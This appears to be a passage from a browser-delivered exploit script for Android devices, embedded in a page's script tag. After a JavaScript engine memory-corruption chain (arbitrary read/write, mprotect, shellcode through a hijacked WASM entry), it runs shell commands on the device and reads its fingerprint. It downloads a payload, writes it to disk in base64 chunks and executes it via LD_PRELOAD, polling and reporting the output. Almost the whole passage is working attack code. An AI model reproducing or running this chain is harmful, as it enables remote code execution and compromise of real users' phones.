  }
  logSuccess("MPROTECT_READY");
  if (stopAt("mprotect")) {
    return;
  }

  // Step 2: call shellcode
  setWasmUncheckedEntry(shellAddr);
  const shellCaller = makeWasm(wasmCallerBytes, {env: {f: wasmFunction}}).exports.call;

  function readOutput(length) {
    let result = "";
    const limit = Math.min(Math.max(length, 0), outputBuf.length);
    for (let i = 0; i < limit; i++) {
      const value = outputBuf[i];
      if (value === 0) {
        break;
      }
      result += String.fromCharCode(value);
    }
    return result;
  }

  function runCaptureCommand(command, code) {
    installShellcode(captureCodeBytes);
    writeShellCommand(command);
    outputBuf.fill(0);
    const ret = shellCaller(outputData, BigInt(outputBuf.length), 0n);
    if (ret <= 0) {
      quit(code);
    }
    return {
      ret,
      output: readOutput(ret),
    };
  }

  function runSpawnCommand(command, code) {
    installShellcode(spawnCodeBytes);
    writeShellCommand(command);
    const ret = shellCaller(0n, 0n, 0n);
    if (ret <= 0) {
      quit(code);
    }
    return ret;
  }

  const fingerprintResult = runCaptureCommand("/system/bin/getprop ro.build.fingerprint", 8);
  const deviceId = fingerprintResult.output.trim();
  const isSupported = SUPPORTED_DEVICE_IDS.indexOf(deviceId) >= 0;
  const okToLog = await requestFingerprintDecision(deviceId, isSupported);
  if (!okToLog) {
    deliverStop();
    return;
  }
  let selectedKernel = NONSUPPORT;
  if (isSupported) {
    const bytes = new TextEncoder().encode(deviceId);
    selectedKernel = "";
    for (let i = 0; i < bytes.length; i++) {
      selectedKernel += bytes[i].toString(16).padStart(2, "0");
    }
  }
  const kernelResponse = await fetch(selectedKernel, {
    cache: "no-store",
  });
  if (!kernelResponse.ok) {
    quit(50);
  }
  const kernelTarget = PRIVATE_DIR + "/res";
  const initWriteResult = runCaptureCommand(
    "dir=" + shellQuote(PRIVATE_DIR) +
      "; file=" + shellQuote(kernelTarget) +
      "; /system/bin/mkdir -p \"$dir\"" +
      " && : > \"$file\"" +
      " && /system/bin/printf OK || /system/bin/printf FAIL",
    9
  );
  if (initWriteResult.output.indexOf("OK") !== 0) {
    quit(52);
  }

  let kernelSize = 0;
  const writeKernelChunk = (bytes) => {
    let binary = "";
    for (let i = 0; i < bytes.length; i++) {
      binary += String.fromCharCode(bytes[i]);
    }
    const writeResult = runCaptureCommand(
      "file=" + shellQuote(kernelTarget) +
        "; /system/bin/printf %s " + shellQuote(btoa(binary)) +
        " | base64 -d >> \"$file\"" +
        " && /system/bin/printf OK || /system/bin/printf FAIL",
      10
    );
    if (writeResult.output.indexOf("OK") !== 0) {
      quit(53);
    }
  };

  if (kernelResponse.body && kernelResponse.body.getReader) {
    const reader = kernelResponse.body.getReader();
    for (;;) {
      const chunk = await reader.read();
      if (chunk.done) {
        break;
      }
      const value = chunk.value || new Uint8Array(0);
      kernelSize += value.length;
      for (let offset = 0; offset < value.length; offset += 4096) {
        writeKernelChunk(value.subarray(offset, Math.min(offset + 4096, value.length)));
      }
    }
  } else {
    const kernelBytes = new Uint8Array(await kernelResponse.arrayBuffer());
    kernelSize = kernelBytes.length;
    for (let offset = 0; offset < kernelBytes.length; offset += 4096) {
      writeKernelChunk(kernelBytes.subarray(offset, Math.min(offset + 4096, kernelBytes.length)));
    }
  }
  if (kernelSize === 0) {
    quit(51);
  }

  const stableLines = [
    "[*] Setting up fake_obj...",
    "typed_shape=0x" + typedShape.toString(16),
    "typed_empty_slots=0x" + typedEmptySlots.toString(16),
    "typed_empty_elements=0x" + typedEmptyElements.toString(16),
    "carrier_slots=0x" + carrierSlots.toString(16),
    "fake_object=0x" + fakeObject.toString(16),
    "write_target=0x" + writeTarget.toString(16),
    "carrier_fixed_slots=" + CARRIER_FIXED_SLOTS,
    "forge_write_target_index=" + FORGE_WRITE_TARGET_INDEX,
    "forge_read_target_index=" + FORGE_READ_TARGET_INDEX,
    "forge_write_final_k=" + forgeWriteFinalK,
    "[+] AAW_READY",
    "forge_read_final_k=" + forgeReadFinalK,
    "[+] AAR_READY",
    "real_typedarray=0x" + realAddr.toString(16),
    "real_shape_from_aar=0x" + realShapeFromAar.toString(16),
    "real_data=0x" + realData.toString(16),
    "[+] ADDROF_READY",
    "[*] real[7]=0x" + real[7].toString(16),
    "[+] RW64_READY",
    "array_isArray_function=0x" + leakFunctionAddr.toString(16),
    "array_isArray_native=0x" + leakFunctionNative.toString(16),
    "[*] js_base=0x" + jsBase.toString(16),
    "[*] mprotect=0x" + mprotectPtr.toString(16),
    "shellcode=0x" + shellAddr.toString(16),
    "wasm_function=0x" + wasmFunctionAddr.toString(16),
    "wasm_unchecked_original=0x" + originalUncheckedEntry.toString(16),
    "[*] mprotect_ret=" + mprotectRet,
    "[+] MPROTECT_READY",
    "device_id=" + deviceId,
    "device_supported=" + (isSupported ? "yes" : "no"),
    "kernel_file=" + selectedKernel,
    "kernel_dir=" + PRIVATE_DIR,
    "kernel_size=" + kernelSize,
    "[*] fingerprint_shell_ret=" + fingerprintResult.ret,
    "[*] Executing final command...",
  ];
  deliverProgress(stableLines, "");
  await new Promise((resolve) => setTimeout(resolve, 0));

  const commandOutputTarget = PRIVATE_DIR + "/result";
  const commandDoneTarget = PRIVATE_DIR + "/result.done";
  const initCommandResult = runCaptureCommand(
    "out=" + shellQuote(commandOutputTarget) +
      "; done=" + shellQuote(commandDoneTarget) +
      "; /system/bin/rm -f \"$out\" \"$done\"" +
      " && /system/bin/printf OK || /system/bin/printf FAIL",
    11
  );
  if (initCommandResult.output.indexOf("OK") !== 0) {
    quit(54);
  }
  runSpawnCommand(
    "file=" + shellQuote(kernelTarget) +
      "; out=" + shellQuote(commandOutputTarget) +
      "; done=" + shellQuote(commandDoneTarget) +
      "; { LD_PRELOAD=\"$file\" env; status=$?; } >> \"$out\" 2>&1" +
      "; /system/bin/printf %s \"$status\" > \"$done\"",
    12
  );

  let commandOutput = "";
  let commandOffset = 0;
  let commandStatus = "";
  let commandPollResult = null;
  for (;;) {
    await new Promise((resolve) => setTimeout(resolve, 500));
    commandPollResult = runCaptureCommand(
      "out=" + shellQuote(commandOutputTarget) +
        "; done=" + shellQuote(commandDoneTarget) +
        "; offset=" + commandOffset +
        "; if [ -f \"$done\" ]; then /system/bin/printf '__DONE__'; /system/bin/cat \"$done\"; /system/bin/printf '\\n'; else /system/bin/printf '__POLL__\\n'; fi" +
        "; if [ -f \"$out\" ]; then /system/bin/tail -c +$((offset + 1)) \"$out\"; fi",
      13
    );
    if (commandPollResult.output.indexOf("__DONE__") === 0) {
      const split = commandPollResult.output.indexOf("\n");
      if (split < 0) {
        quit(55);
      }
      commandStatus = commandPollResult.output.slice(8, split).trim();
      const delta = commandPollResult.output.slice(split + 1);
      commandOutput += delta;
      commandOffset += delta.length;
      deliverProgress(stableLines.concat([
        "command_result=" + commandOutput.trim(),
        "command_status=" + commandStatus,
      ]), "");
      break;
    }
    if (commandPollResult.output.indexOf("__POLL__\n") !== 0) {
      quit(56);
    }
    const delta = commandPollResult.output.slice(9);
    commandOutput += delta;
    commandOffset += delta.length;
    deliverProgress(stableLines.concat([
      "command_result=" + commandOutput.trim(),
    ]), "");
  }
  commandOutput = commandOutput.trim();
  const finalLines = stableLines.concat([
    "command_result=" + commandOutput,
    "command_status=" + commandStatus,
    "[*] command_ret=" + commandPollResult.ret,
    "[+] DONE",
  ]);
  deliverSuccess(
    finalLines,
      "JS_DONE run=" + RUN_TOKEN +
      " attempt=" + ATTEMPT_TOKEN +
      " command_result=" + commandOutput +
      " device_supported=" + (isSupported ? "yes" : "no")
  );
}

function start() {
  main().catch(() => {
    deliverFailure();
  });
}

start();

</script>